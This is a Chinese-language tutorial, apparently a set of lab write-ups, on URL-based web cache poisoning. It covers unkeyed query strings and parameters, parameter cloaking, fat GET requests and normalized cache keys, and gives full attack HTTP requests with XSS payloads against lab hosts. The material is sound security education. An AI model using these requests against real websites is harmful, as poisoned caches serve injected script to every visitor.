Web Cache Poisioning URL

網站的大部分輸入來自URL和查詢字串,但是這些請求行通常是快取鍵的一部分,因此一般來說不會用做快取中毒。但有些快取系統會因為一些原因或缺陷,導致可以利用這些地方來做快取中毒。在URL上的快取中毒技巧,常見的有以下幾種:

  • unkeyed query string
  • unkeyed query parameter
  • Cache parameter cloaking
  • fat GET request
  • Normalized cache keys

unkeyed query string

某些網站上,整個查詢字串被排除在快取鍵之外,可以利用這個特性進行快取投毒,舉例如下

正常行為觀察

假如正常請求如下,返回內容可以看出目標有cache

########### normal requst ########### 
GET / HTTP/1.1
...omit...

########### normal response ########### 
HTTP/1.1 200 OK
...omit...
Age: 0
X-Cache: miss
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/'/>
...omit...

漏洞測試

由於目標有漏洞,在請求的query增加?a=1,就能成功更新緩存內容。送出後的回應可能會和上個請求一樣,但多試幾次一直到緩存時間結束後。

GET /?a=1 HTTP/1.1
...omit...

如果不想等緩存時間結束就更新緩存內容,可以用cacheburster,例如加上Origin: test,如下

GET /?a=1 HTTP/1.1
Origin: test
...omit...

成功更新緩存後,返回內容多了?a=1,如下

HTTP/1.1 200 OK
...omit...
Age: 0
X-Cache: miss
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?a=1'/>
...omit...

現在只要在緩存時間內請求/,返回內容都是剛剛緩存的/?a=1,如下

########### normal request ########### 
GET / HTTP/1.1
...omit...

########### normal response ########### 
HTTP/1.1 200 OK
...omit...
Age: 1
X-Cache: hit
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?a=1'/>
...omit...

攻擊請求

所以只要在請求的url query增加攻擊語法更新緩存內容,返回內容包含攻擊內容如下

########### attack request ########### 
GET /?evil='/><script>alert(1)</script> HTTP/1.1
Origin: test
...omit...

########### attack response ########### 
HTTP/1.1 200 OK
...omit...
Age: 0
X-Cache: miss
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?evil='/><script>alert(1)</script>'/>
...omit...

現在只要在緩存時間內請求/,返回內容依舊包含之前的攻擊url query

########### attack requst  test ###########  
GET / HTTP/1.1
Origin: test
...omit...

########### attack response test ########### 
HTTP/1.1 200 OK
...omit...
Age: 2
X-Cache: hit
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?evil='/><script>alert(1)</script>'/>
...omit...

Lab: Web cache poisoning via an unkeyed query string


unkeyed query parameter

有些網站僅排除與後端應用程式無關的特定查詢參數,例如用於分析或投放定向廣告的參數

例如,以下網站的參數utm_content可用做快取投毒攻擊

########### attack request ########### 
GET /?utm_content='/><script>alert(1)</script>
...omit...

########### attack response ###########
...omit...
X-Cache: hit

...omit...
<link rel="canonical" href='//ac6c1fcf1f88b0a8808b268c00bf0032.web-security-academy.net/?utm_content='/><script>alert(1)</script>'/>
...omit...

lab: Web cache poisoning via an unkeyed query parameter


Cache parameter cloaking

快取和應用程式之間的任何解析差異,可允許將任意參數隱藏,並用在應用程式邏輯中。

假設cachekey為keyed_param,請求如下

GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here

許多快取會把這個請求看做2個參數

  • keyed_param=abc
  • excluded_param=123;keyed_param=bad-stuff-here

但在後端Ruby on Rails 會看到;並將查詢字串拆分為三個單獨的參數

  • keyed_param=abc
  • excluded_param=123
  • keyed_param=bad-stuff-here

在Ruby on Rails的運算中,重覆參數會取第2個,因此keyed_param=bad-stuff-here排除在cachekey外,可以利用這個地方快取投毒。

以另一個漏洞網站為例,以下為正常請求

########### normal request ###########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...

########### normal response ###########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=35
Age: 32
X-Cache: hit
Connection: close
Content-Length: 201
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
setCountryCookie({"country":"United Kingdom"});

分析觀察後發現,callback參數可以用來控制函數,但該參數為cachekey,所以無法快取投毒。但在更進一步研究會發現3個特別的地方:

  • 增加重複的callback參數,只有最後一個參數會反映在回應中
  • 支援utm_content參數,屬於uncachekey
  • 使用 ; 將另一個參數附加到utm_content,則快取會將其視為單一參數,而且同屬於uncachekey

合併這3點,可以使用;將第二個callback參數附加到utm_content參數中,它不屬於cachekey,並且仍然會覆寫回應中的函數,如下

######## request ########
GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=arbitraryFunction

######## response ########
HTTP/1.1 200 OK
X-Cache-Key: /js/geolocate.js?callback=setCountryCookie
…
arbitraryFunction({"country" : "United Kingdom"})

根據這些特性,只要在最後callback參數加入攻擊語法,就可以製做快取投毒攻擊,如下

######## attack request ######## 
GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1) HTTP/1.1
...omit...

######## attack response ######## 
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Connection: close
Cache-Control: max-age=35
Age: 0
X-Cache: miss
Content-Length: 193

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)({"country":"United Kingdom"});

現在只要在緩存時間中,請求GET /js/geolocate.js?callback=setCountryCookie都會得到快取中毒的返回內容

Lab: Parameter cloaking


fat GET request

如果HTTP方法沒有被做為cachekey,可能允許使用這個方法,在請求內容中加入第2個同名參數,舉例如下

假設正常請求如下

######## normal request  ########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...

######## normal response ########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=35
Age: 3
X-Cache: hit
Connection: close
Content-Length: 201

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
setCountryCookie({"country":"United Kingdom"});

因為網站有漏洞,所以請求內容中放入第2個callback,返回內容會顯示第2個的結果,如下

######## attack request ######## 
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...
callback=alert(1)

######## attack response ######## 
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Connection: close
Cache-Control: max-age=35
Age: 0
X-Cache: miss
Content-Length: 197

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)


({"country":"United Kingdom"});

一旦cache中毒後,在快取時間內,只要用正常方式請求,都會拿到中毒緩存,如下

######## normal request  ########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...

######## poison response ######## 
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Connection: close
Cache-Control: max-age=35
Age: 2
X-Cache: hit
Content-Length: 197

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)

({"country":"United Kingdom"});

Lab: Web cache poisoning via a fat GET request


Normalized cache keys

如果URL無法執行攻擊代碼,可讓快取執行攻擊代碼

舉例如下,隨便查詢一個不存在的網址,正常情況下會返回找不到

######## request ######## 
GET /random HTTP/1.1
Host: ac191f8c1f64ab9780f91953005800bb.web-security-academy.net
...omit...

######## response ######## 
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=10
Age: 0
X-Cache:miss
X-XSS-Protection: 0
Content-Length: 50

<p>Not Found: /random</p>

假如目標剛好有漏洞,可以對目標做快取中毒,把xss放進快取中

######## attack request ######## 
GET /random</p><script>alert(1)</script><p>foo HTTP/1.1
Host: ac191f8c1f64ab9780f91953005800bb.web-security-academy.net
...omit...
######## attack response ######## 
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=10
Age: 0
X-Cache:miss
X-XSS-Protection: 0
Content-Length: 60

<p>Not Found: /random</p><script>alert(1)</script><p>foo</p>

上述的攻擊URL,/random</p><script>alert(1)</script><p>foo因為被urlencode編碼,因此該攻擊代碼不會執行。但是緩存顯示時會將這段做urlencode解碼,因此可利用緩存執行該攻擊代碼。

只要將該網址提給受害者,對方點擊後便會看到緩存內容,然後顯示攻擊代碼

Lab: URL normalization